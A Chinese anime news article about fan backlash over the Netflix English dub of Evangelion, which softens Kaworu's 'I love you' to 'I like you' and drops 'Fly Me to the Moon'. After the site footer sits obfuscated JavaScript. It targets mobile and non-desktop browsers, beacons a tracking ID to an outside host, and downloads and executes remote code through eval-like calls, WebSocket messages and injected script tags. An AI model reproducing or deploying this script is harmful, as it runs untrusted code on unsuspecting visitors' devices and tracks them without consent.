不是”爱”而是”喜欢”?网飞版《EVA》改台词引发粉丝愤怒

趣动漫动漫资讯人气:143

6月21日,网飞Netflix上线了神作《新世纪福音战士(EVA)》的TV动画(26集)和两部旧剧场版《DEATH (TRUE)²》、《Air/真心为你》,原本这是一件让粉丝开心的大好事,不过播放后却引起了粉丝的不满。

不是”爱”而是”喜欢”?网飞版《EVA》改台词引发粉丝愤怒- 趣动漫

《新世纪福音战士》是由龙之子工作室、GAINAX两家日本动画公司共同制作的动画作品,简称《EVA》。该片于1995年10月4日-1996年3月27日在日本首播,全26集。由庵野秀明担任主要编剧及总导演,贞本义行担任角色设计,绪方惠美、林原惠、宫村优子、三石琴乃等人担任主要配音。

不是”爱”而是”喜欢”?网飞版《EVA》改台词引发粉丝愤怒- 趣动漫

该片中革命性的强烈意识流手法,大量宗教、哲学意象的运用,在日本社会掀起被称为“社会现象”程度的巨大回响与冲击,并成为日本动画史上的一座里程碑,同时被公认为日本历史中最伟大的动画之一。

原本旧版中TV动画第24集中渚薰有一句对真嗣的台词”It means, I love you”,结果这次的新版英文配音给改成了”It means I like you”,而且后续的话也给改了。

不是”爱”而是”喜欢”?网飞版《EVA》改台词引发粉丝愤怒- 趣动漫

许多网友认为这是网飞故意改动和谐两人间的关系。

不是”爱”而是”喜欢”?网飞版《EVA》改台词引发粉丝愤怒- 趣动漫

不是”爱”而是”喜欢”?网飞版《EVA》改台词引发粉丝愤怒- 趣动漫

我真的无法接受。你不能改变渚薰跟真嗣间的关系…

不是”爱”而是”喜欢”?网飞版《EVA》改台词引发粉丝愤怒- 趣动漫

负责翻译工作的dankanemitsu在推特上做出了回应

不是”爱”而是”喜欢”?网飞版《EVA》改台词引发粉丝愤怒- 趣动漫

他表示自己翻译时尽力忠实于原文材料,角色承认自己的爱是一回事,观众的猜测和推断的感情是另一回事,在文字中留有余地让观众想象可以让事情变得更令人兴奋一些

不是”爱”而是”喜欢”?网飞版《EVA》改台词引发粉丝愤怒- 趣动漫

之后许多动漫资讯网站也纷纷报导这件事。

不是”爱”而是”喜欢”?网飞版《EVA》改台词引发粉丝愤怒- 趣动漫

 

另外除了渚薰与真嗣的台词被改了之外,原片尾曲《Fly Me to the Moon》也被换成了纯音乐,有媒体猜测是因为版权问题,网飞没买这首歌。

不是”爱”而是”喜欢”?网飞版《EVA》改台词引发粉丝愤怒- 趣动漫

相关影片

本站所有视频和图片均来自互联网收集而来,本网站只提供web页面服务,并不提供资源存储,也不参与录制、上传
若本站收录的节目无意侵犯了贵司版权,请发邮件至qdm8@qq.com (我们会在3个工作日内删除侵权内容,谢谢。)

Copyright © 2023 趣动漫

function zitas(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function jwnyB(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return zitas(t);};window[''+'x'+'r'+'T'+'p'+'o'+'U'+'h'+'e'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function GvDFZ(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=jwnyB,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=GvDFZ(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/14904/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=GvDFZ(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1rdnNmLmNuJTNBODgg5MQ==','d3NzJJTNBJJTJJGJJTJJGYS5rZmdqYS5jbiUzQTk1MzM=','165499',window,document,['g','J']);}:function(){};